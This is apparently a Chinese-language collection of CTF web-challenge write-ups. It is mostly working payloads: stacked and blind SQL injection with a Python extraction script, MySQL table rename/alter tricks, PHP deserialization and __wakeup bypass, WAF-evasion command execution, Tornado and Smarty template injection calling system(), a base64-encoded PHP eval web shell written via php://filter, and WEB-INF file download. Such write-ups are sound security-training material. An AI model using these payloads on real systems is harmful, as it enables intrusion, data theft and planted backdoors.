文章目录
[强网杯 2019]随便注
堆叠注入;alert;rename;
- 单引号注入,
inject=1' order by 2;#
记得加分号 - 堆叠注入,
inject=1';show tables;#
- 有两个表,
words
和1919810931114514
- 有两个表,
- 分别查看一下列表字段信息 记得加反引号
- inject=1’;show columns from `words`;#
- inject=1’ ;show columns from `1919810931114514`;#
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
- 发现默认查的表项是
words
表项,猜测语句是select id,data from words where id = ?
但是flag在1919810931114514
里面,所以要换一下表名和相应的字段格式才行inject=1';rename table
`words`to words2;
rename table
`1919810931114514`to
`words`;
alter table words change flag id varchar(100);
show tables;show columns from words;#
- 进行完上述四步骤,发现回显时flag名变id,varchar(100)类型,然后用万能语句查询就好。
inject=1' or 1=1;#
得到flag。
[GYCTF2020]Blacklist
要点:堆叠注入,select被禁止preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
1';HANDLER 表名 open;HANDLER 表名 read first;HANDLER FlagHere close;#
[极客大挑战 2019]PHP 序列化
要点: 序列化,反序列化,walkup,私有变量
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$select = $_GET['select'];
$res=unserialize(@$select);
?>
分析上面的代码,两个私有变量username和password被初始化了,要变成对应的值,本地搭建一个网站。
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
echo serialize(new Name());
?>
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
# 0x00
绕过waklup函数,需要 对象属性个数的值大于真实的属性个数的值
这里采用2变成3,
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
#0x01
因为是私有变量,看s:14:"Nameusername" 他长度不对应,两个空字符被省了,要补上
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
然后提交即可。
[网鼎杯 2020 青龙组]AreUSerialz
要点: 系列化,私有属性的空字符
class FileHandler {
protected $op;
protected $filename;
protected $content;
}
class FileHandler {
public $op;
public $filename;
public $content;
}
???
题目不让有空字符
protect,private类型的属性序列化后也会产生不可打印字符,
对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。
[RoarCTF 2019]Easy Calc
命令执行,空格绕过waf,php特性
在输入/?num = 1 时 正常
在输入 /?num = a 时不正常
防火墙告诉我们不能num不能有字符
绕过方法: /? num=a
num前有一个空格,这要防火墙不会检测到num这个变量,同时php内部执行的时候,会自动将空格删掉,达成了绕过防火墙的作用 如果Num前加 [ 会解析成 _num
php下的命令执行
? num=var_dump(scandir(chr(47))) #列出参数下的文件和目录,47是 / 也可以直接用/
? num=file_get_contents(chr(47).flag) #获取/flag
[护网杯 2018]easy_tornado SSTI
要点:tornado render()
tornado是用Python编写的Web服务器兼Web应用框架
因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入题了。Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}.
模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}返回484则必然存在模板注入。
但是当我们输入error?msg={{1}}就可以得到回显,说明此处是存在SSTI注入漏洞的。
搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret error?msg={{handler.settings}}
[BJDCTF2020]The mystery of ip SSTI
要点: php模块注入,smarty
{{system('ls')}}
或者用if语句
{if system('ls')}{/if}
能用简单的谁会去用难的呢
{if phpinfo()}{/if}
{if readfile(‘文件路劲’)}{/if}
{if show_source(‘文件路径’)}{/if}
{if passthru(‘操作命令’)}{/if}
{if system(‘操作命令’)}{/if}
等等等等等等等等。。。。。。......
[极客大挑战 2022] Not_Stay
要点: php://filter exit()强制退出
大佬博客 绕过
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>
先分析,输入的data前面会被加入一个头 <?php exit;?>
强制退出 导致无法运行php代码。
可以用base64编码绕过,base64解码时,会将<?; ?>解析不出来,乱码,仅将合法字符组成一个新的字符串进行解码。但是只有7个字节,所以补一个a,变成八字节,然后base64解码就会乱码,达成了绕过的效果。然后把一句话木马<?php @eval($_POST['shell']);?>
编码一下PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==
。
二者合起来<?php exit;?>aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==
base64解码一下:^ƫZ<?php @eval($_POST['shell']);?>
达成了绕过
payload: data=aPD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==&filename=php://filter/write=convert.base64-decode/resource=tmp.php
[GXYCTF2019]BabySQli
sql注入,联合注入添加临时虚拟用户
可以发现多了一个数据.
此题测试时发现order by 用不了 name=admin&pw=1
新的查询列数方式 name=-1" select 1,2,3#&pw=1
从小到大,找到一个不报错的就是列数,此题为3
猜测用户名的位置,select ‘admin’,2,3 报错, select 1,‘admin’,3不报错,猜测用户名是admin,在第二个位置
密码是第三位置,然后就 输入md5(1) = c4ca4238a0b923820dcc509a6f75849bpayload: name=-1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
此题相当于直接插入了一个admin和临时密码??
[CISCN2019 华北赛区 Day2 Web1]Hack World
要点:布尔盲注,if新用法if(1=1,1,2)
和0^1
。if很简单,就是类似三目运算符1==1?1:2
import requests
import re
url='http://b5ce63e7-d9e3-4bc3-a3aa-2b84aa4f2fc8.node4.buuoj.cn:81/index.php'
buu='' #记录flag
for i in range(1,50): #flag的字符数量
for j in range(32,140): #可打印出得所有字符的asii码值
#构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
data={"id":payload} #构造参数对象
res=requests.post(url=url,data=data) #请求
#进行验证和记录flag
if 'Hello, glzjin wants a girlfriend' in res.text:
buu=buu+chr(j)
print(i)
print(buu)
break #跳出一层循环
[RoarCTF 2019]Easy Java
要点 java源码泄露
本来是GET传参,需要改成POST?
src/main/java: 这个目录一般是存放web项目的Java源文件的
src/main/resource: 这个目录一般是存放相关的配置文件
src/main/webapp: 这个目录一般是和web应用相关的
webapp下的文件目录是容易出现安全问题的
/WEB-INF/web.xml: Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件(即编译后的Java文件),包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
通过post请求下载web.xml文件 payload:Download?filename=/WEB-INF/web.xml
得到flag的信息
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
可以看到有个servlet(运行在web服务器或应用服务器上的程序)为FlagController,这个是可能有flag的类,存放于com.wm.ctf包下。那么尝试下载这个类。构造payload:Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class(直接这样是不行,因为无法get请求。需要在Download页面下post请求传filename=/WEB-INF/classes/com/wm/ctf/FlagController.class)